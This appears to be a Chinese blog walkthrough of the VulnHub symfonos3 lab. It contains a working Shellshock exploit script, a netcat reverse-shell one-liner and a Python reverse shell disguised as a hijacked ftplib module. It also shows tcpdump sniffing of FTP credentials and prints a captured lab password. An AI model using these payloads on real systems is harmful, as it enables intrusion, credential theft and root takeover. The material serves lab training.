Avatar {{帝力于我何有哉}} 不疯魔,不成活。 Be obsessed, or be average.


vulnhub >_ symfonos3

symfonos3

image-20200627201400855

image-20200627201426195

FTP禁止匿名访问

image-20200627202426387

image-20200627202441732

http目录

image-20200627203728486

image-20200627203854067

image-20200627203752624

image-20200627203816063

image-20200627203919588

看页面猜测underworld应该是/cgi-bin目录下的可执行文件,也就是应该存在shellshock,而主页源代码内的提示也提到underworld,先从这里入手。

shellshock,python shell脚本

#!/usr/bin/python
# 使用示例
# python shellshock_shell.py 192.168.56.1
# $ id
# uid=48(apache) gid=48(apache) groups=48(apache)
# $ pwd
# /var/www/cgi-bin

import requests, sys
from base64 import b64encode

victim_ip = sys.argv[1]

while True:
    command = b64encode(raw_input('$ ').strip())
    headers = {
        'User-Agent': '() { :; }; echo \'Content-type: text/html\'; echo; export PATH=$PATH:/usr/bin:/bin:/sbin; echo \'%s\' | base64 -d | sh 2>&1' % command
    }

    print requests.get('http://192.168.43.226/cgi-bin/underworld', headers=headers).text.strip()		#注意修改这里为目标地址路径。

image-20200627204842605

shellshock 脚本所产生的shell,理论上是webshell为了更方便我们使用,在1337端口建立监听,并在shellshock中使用以下方式以获得更方便使用的shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.43.66 1337 >/tmp/f

image-20200627205839456

先查看用户

image-20200627211901544

使用脚本用来更进一步枚举

image-20200627210809435

image-20200627211421722

看来会使用密码登录proftpd

ftp是明文传输,我们可以尝试使用tcpdump进行浏览监测,从而尝试得到明文凭证

tcpdump -D		#查看可监控的设备

tcpdump -v -i lo port 21	#实时监测并屏幕输出,由于目标是本机登录ftp,所以应该监听lo环回. 虽然能更快的找到答案,但结束时需要ctrl c ,会断掉shell
tcpdump -w file.pcap -i lo		#输出到pcap文件,可以下载到kali使用wireshark分析。

image-20200627212700226

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

image-20200627212928919

image-20200627213251359

hades:PTpZTfU4vxgzvRBE
ssh hades@192.168.43.226

image-20200627214321200

我们之前已经通过枚举知道了root定时执行的一个脚本/opt/ftpclient/ftpclient.py,但是之前没权限查看,现在再次尝试

image-20200627214845945

看权限,显然无法对脚本做任何事情。(注。靶机是3.1版本已经修复了之前3.0版本直接可写的问题)

而脚本引用了ftplib

我们可以通过伪造lib提权。

检查lib文件夹权限

image-20200627223633330

image-20200627223413591

首先在kali本地伪造lib文件

import socket,subprocess,os

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.43.66",1338))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/sh","-i"])

工作目录建立http服务

python -m SimpleHTTPServer 8080

备份靶机原库文件,并将伪造文件上传至靶机

mv ftplib.py ftplib.py.bak
wget http://192.168.43.66:8080/ftplib.py

image-20200627224045383

在kali端口1338建立监听。root

image-20200627224311226